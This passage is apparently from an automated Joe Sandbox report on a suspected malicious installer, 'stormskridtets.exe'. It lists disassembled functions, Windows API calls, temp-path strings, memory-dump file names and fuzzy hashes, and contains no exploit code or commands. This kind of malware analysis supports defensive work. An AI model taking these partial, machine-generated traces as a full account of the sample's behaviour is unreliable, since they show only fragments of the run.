                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,73C92238,?,00000808), ref: 73C91635
                                    • GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,73C92238,?,00000808), ref: 73C9163C
                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,73C92238,?,00000808), ref: 73C91650
                                    • GetProcAddress.KERNEL32(73C92238,00000000), ref: 73C91657
                                    • GlobalFree.KERNEL32(00000000), ref: 73C91660
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1987649573.0000000073C91000.00000020.00000001.01000000.00000006.sdmp, Offset: 73C90000, based on PE: true
                                    • Associated: 00000000.00000002.1987047639.0000000073C90000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987785731.0000000073C94000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987804598.0000000073C96000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_73c90000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
                                    • String ID:
                                    • API String ID: 1148316912-0
                                    • Opcode ID: d400b110c1c1a1085a85d327941e8baab6f4ba8c6a92b146337ef53a3cceec5e
                                    • Instruction ID: 9b08758db64eb3c0eea2fa107e9ff83b4d1f463bc41a20034356da13cccd5212
                                    • Opcode Fuzzy Hash: d400b110c1c1a1085a85d327941e8baab6f4ba8c6a92b146337ef53a3cceec5e
                                    • Instruction Fuzzy Hash: DCF01273106178BBD62067A78C4CD9B7E9CDF8B2F5B130211F61CA119085614D01D7F1
                                    Function 00405D6E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON
                                    Download Yara Rule
                                    APIs
                                    • CharNextW.USER32(?,?,C:\,?,00405DE2,C:\,C:\,?,?,C:\Users\user~1\AppData\Local\Temp\,00405B20,?,771B3420,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 00405D7C
                                    • CharNextW.USER32(00000000), ref: 00405D81
                                    • CharNextW.USER32(00000000), ref: 00405D99
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: CharNext
                                    • String ID: C:\
                                    • API String ID: 3213498283-3404278061
                                    • Opcode ID: a494e05d27702b27be76eb2108b1f7c475580a471c546fdda9206c4fb56a95c9
                                    • Instruction ID: 839f6a4cd7818f8bbcc29dd9d6e935739f9a8baf6e4a15472bca77c663bd0c43
                                    • Opcode Fuzzy Hash: a494e05d27702b27be76eb2108b1f7c475580a471c546fdda9206c4fb56a95c9
                                    • Instruction Fuzzy Hash: 1FF09022920F1296DB3177545C4DE7B5BB8EF54760B00C43BE601B72C1E3B84C818EAA
                                    Function 00405CC3 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON
                                    Download Yara Rule
                                    APIs
                                    • lstrlenW.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\,0040348F,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004036EC,?,00000007,00000009,0000000B), ref: 00405CC9
                                    • CharPrevW.USER32(?,00000000,?,C:\Users\user~1\AppData\Local\Temp\,0040348F,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004036EC,?,00000007,00000009,0000000B), ref: 00405CD3
                                    • lstrcatW.KERNEL32(?,0040A014,?,00000007,00000009,0000000B), ref: 00405CE5
                                    Strings
                                    • C:\Users\user~1\AppData\Local\Temp\, xrefs: 00405CC3
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: CharPrevlstrcatlstrlen
                                    • String ID: C:\Users\user~1\AppData\Local\Temp\
                                    • API String ID: 2659869361-2382934351
                                    • Opcode ID: bed06d4f6a82b163f62297ef23baf12e7c7e8c5859eb2f34a161a285e0ec4316
                                    • Instruction ID: 20018de61182ae54b5e078598b4ece42ca391df12eccfc729252e8f5514d5294
                                    • Opcode Fuzzy Hash: bed06d4f6a82b163f62297ef23baf12e7c7e8c5859eb2f34a161a285e0ec4316
                                    • Instruction Fuzzy Hash: 78D0A731101A30AAD1117B448D04CDF629CFE85304341403BF202B30A2C77C1D5387FD
                                    Function 00402FB1 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                    Download Yara Rule
                                    APIs
                                    • DestroyWindow.USER32(00000000,00000000,0040318F,00000001,?,00000007,00000009,0000000B), ref: 00402FC4
                                    • GetTickCount.KERNEL32 ref: 00402FE2
                                    • CreateDialogParamW.USER32(0000006F,00000000,00402F2B,00000000), ref: 00402FFF
                                    • ShowWindow.USER32(00000000,00000005,?,00000007,00000009,0000000B), ref: 0040300D
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: Window$CountCreateDestroyDialogParamShowTick
                                    • String ID:
                                    • API String ID: 2102729457-0
                                    • Opcode ID: 5e41244d60e94df7afa5422e741b36603cd51d1290bb4582c8306ab25b36019d
                                    • Instruction ID: 8c281f3aa7e88f802b7d8bba4993e69035ed424970cff038758a163d63a680ad
                                    • Opcode Fuzzy Hash: 5e41244d60e94df7afa5422e741b36603cd51d1290bb4582c8306ab25b36019d
                                    • Instruction Fuzzy Hash: 3AF0BE30506221ABC2616F60FE0CA8B3B78FB44B51705C83BF101F11E4CB3808819B9D
                                    Function 00403A28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON
                                    Download Yara Rule
                                    APIs
                                    • FreeLibrary.KERNEL32(?,771B3420,00000000,C:\Users\user~1\AppData\Local\Temp\,00403A00,00403816,00000007,?,00000007,00000009,0000000B), ref: 00403A42
                                    • GlobalFree.KERNEL32(009A4320), ref: 00403A49
                                    Strings
                                    • C:\Users\user~1\AppData\Local\Temp\, xrefs: 00403A28
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: Free$GlobalLibrary
                                    • String ID: C:\Users\user~1\AppData\Local\Temp\
                                    • API String ID: 1100898210-2382934351
                                    • Opcode ID: 6ef17ecbb981fa3a9d26a37a654407d639bd202e425e8d1c53e2791914a5cf50
                                    • Instruction ID: 10b089f61d7fd26560bcfb3f790e8945b6a0be01d7b58778b04adbc7300f8739
                                    • Opcode Fuzzy Hash: 6ef17ecbb981fa3a9d26a37a654407d639bd202e425e8d1c53e2791914a5cf50
                                    • Instruction Fuzzy Hash: 64E0123360112057C6215F45FE0475ABB7D6F49B26F06803BE9C0BB26087785C838FD8
                                    Function 00405D0F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON
                                    Download Yara Rule
                                    APIs
                                    • lstrlenW.KERNEL32(?,C:\Users\user\Desktop,00403081,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\stormskridtets.exe,C:\Users\user\Desktop\stormskridtets.exe,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405D15
                                    • CharPrevW.USER32(?,00000000,?,C:\Users\user\Desktop,00403081,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\stormskridtets.exe,C:\Users\user\Desktop\stormskridtets.exe,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405D25
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: CharPrevlstrlen
                                    • String ID: C:\Users\user\Desktop
                                    • API String ID: 2709904686-3976562730
                                    • Opcode ID: ca28fb495e832aca3bc5bc38fa8d5a1d536c38e2997e226eadf599fe90d3b243
                                    • Instruction ID: 3b4219a6871f3e4e2040e57eeeef2aaac809f1ec38f5d31038b50c09059f2d31
                                    • Opcode Fuzzy Hash: ca28fb495e832aca3bc5bc38fa8d5a1d536c38e2997e226eadf599fe90d3b243
                                    • Instruction Fuzzy Hash: 97D05EB34109209AE3127704DC0599F73E8EF5530074A8467E541A61A5D7785C818AAC
                                    Function 73C910E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GlobalAlloc.KERNEL32(00000040,?), ref: 73C9116A
                                    • GlobalFree.KERNEL32(00000000), ref: 73C911C7
                                    • GlobalFree.KERNEL32(00000000), ref: 73C911D9
                                    • GlobalFree.KERNEL32(?), ref: 73C91203
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1987649573.0000000073C91000.00000020.00000001.01000000.00000006.sdmp, Offset: 73C90000, based on PE: true
                                    • Associated: 00000000.00000002.1987047639.0000000073C90000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987785731.0000000073C94000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987804598.0000000073C96000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_73c90000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: Global$Free$Alloc
                                    • String ID:
                                    • API String ID: 1780285237-0
                                    • Opcode ID: d5d6a7507f6a5e84e65daf1e45c19a052e3950ffa8e0f6c055534038bbffcdcd
                                    • Instruction ID: a8184817c1f909a866edc384f6ab4b751e54255a8e6022807e77a1e6b3d254d3
                                    • Opcode Fuzzy Hash: d5d6a7507f6a5e84e65daf1e45c19a052e3950ffa8e0f6c055534038bbffcdcd
                                    • Instruction Fuzzy Hash: 5331C4F3500201EFF700EF66C946B397BF8EB05610B27011AE94AEB294E736DD018768
                                    Function 00405E49 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON
                                    Download Yara Rule
                                    APIs
                                    • lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040612E,00000000,[Rename],00000000,00000000,00000000), ref: 00405E59
                                    • lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E71
                                    • CharNextA.USER32(00000000,?,00000000,0040612E,00000000,[Rename],00000000,00000000,00000000), ref: 00405E82
                                    • lstrlenA.KERNEL32(00000000,?,00000000,0040612E,00000000,[Rename],00000000,00000000,00000000), ref: 00405E8B
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: lstrlen$CharNextlstrcmpi
                                    • String ID:
                                    • API String ID: 190613189-0
                                    • Opcode ID: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
                                    • Instruction ID: a1795947179755a411c98c1569971d2b6f4e38ea7894d212e8297337e4f71977
                                    • Opcode Fuzzy Hash: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
                                    • Instruction Fuzzy Hash: E2F06231504514FFD7129BA5DD409AEBBA8EF06250B2540BAE884FB250D674DF029BE9

                                    Execution Graph

                                    Execution Coverage:0%
                                    Dynamic/Decrypted Code Coverage:100%
                                    Signature Coverage:40%
                                    Total number of Nodes:5
                                    Total number of Limit Nodes:1
                                    execution_graph 67354 37442b60 LdrInitializeThunk 67355 37442c00 67357 37442c0a 67355->67357 67358 37442c11 67357->67358 67359 37442c1f LdrInitializeThunk 67357->67359

                                    Executed Functions

                                    Function 374435C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 7 374435c0-374435cc LdrInitializeThunk
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: InitializeThunk
                                    • String ID:
                                    • API String ID: 2994545307-0
                                    • Opcode ID: 5f705b75ceff3f3181da56f6d5b1aa83ad2060269718efd0815b3140b8a4a935
                                    • Instruction ID: cdc9db320d3b49aad423a20a3f14b84d22b010a949dceccfb619b6a9fd8afdde
                                    • Opcode Fuzzy Hash: 5f705b75ceff3f3181da56f6d5b1aa83ad2060269718efd0815b3140b8a4a935
                                    • Instruction Fuzzy Hash: B990027160550812D10071584514746104947E1211F65C412B0424568E8B959E5579A2
                                    Function 37442DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 6 37442df0-37442dfc LdrInitializeThunk
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: InitializeThunk
                                    • String ID:
                                    • API String ID: 2994545307-0
                                    • Opcode ID: 2d555ed3b4ee9299493b03506facfae9ae5e074409e701885814fa2fec820ece
                                    • Instruction ID: 27df28530104fcaf0ce27dced3823262d0aef3358121126a0f73d89eadb954c6
                                    • Opcode Fuzzy Hash: 2d555ed3b4ee9299493b03506facfae9ae5e074409e701885814fa2fec820ece
                                    • Instruction Fuzzy Hash: 8E90027120140823D11171584504747004D47E1251F95C413B0424558E9A569E56B521
                                    Function 37442C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 5 37442c70-37442c7c LdrInitializeThunk
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: InitializeThunk
                                    • String ID:
                                    • API String ID: 2994545307-0
                                    • Opcode ID: c849959d75bffd06a5a925d2275c0f7c87365916ecf894f759590828cafa82fe
                                    • Instruction ID: 114223219cf26c98e90b57c0b284fb66405897535ed6f89425933584dc747d98
                                    • Opcode Fuzzy Hash: c849959d75bffd06a5a925d2275c0f7c87365916ecf894f759590828cafa82fe
                                    • Instruction Fuzzy Hash: B590027120148C12D1107158840478A004947E1311F59C412B4424658E8A959D957521
                                    Function 37442B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 4 37442b60-37442b6c LdrInitializeThunk
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: InitializeThunk
                                    • String ID:
                                    • API String ID: 2994545307-0
                                    • Opcode ID: 0f197964c9ef3e7f69e55847fb591432d0814f6347ba4ce48ba42bb308a523ec
                                    • Instruction ID: df382a35cd9aaf494170502e9bea9107f9a9d977151f2af33e043f1f5b475442
                                    • Opcode Fuzzy Hash: 0f197964c9ef3e7f69e55847fb591432d0814f6347ba4ce48ba42bb308a523ec
                                    • Instruction Fuzzy Hash: 599002A120240413410571584414656404E47F1211B55C022F1014590EC9259D957525
                                    Function 37442C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 0 37442c0a-37442c0f 1 37442c11-37442c18 0->1 2 37442c1f-37442c26 LdrInitializeThunk 0->2
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: InitializeThunk
                                    • String ID:
                                    • API String ID: 2994545307-0
                                    • Opcode ID: 3b6672cdd2748b6407e855ee0dac9d8dee7e27c1c94a4f9a10c4355bb3a0180d
                                    • Instruction ID: 415d9ec91df433134fd82a7ff552826a9afdc15e7bbda3516320dfdec3e94452
                                    • Opcode Fuzzy Hash: 3b6672cdd2748b6407e855ee0dac9d8dee7e27c1c94a4f9a10c4355bb3a0180d
                                    • Instruction Fuzzy Hash: 12B02B718014C4C5F600E3204608707390027D0311F15C022E3030241F0738D0C0F571

                                    Non-executed Functions

                                    Function 37482349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
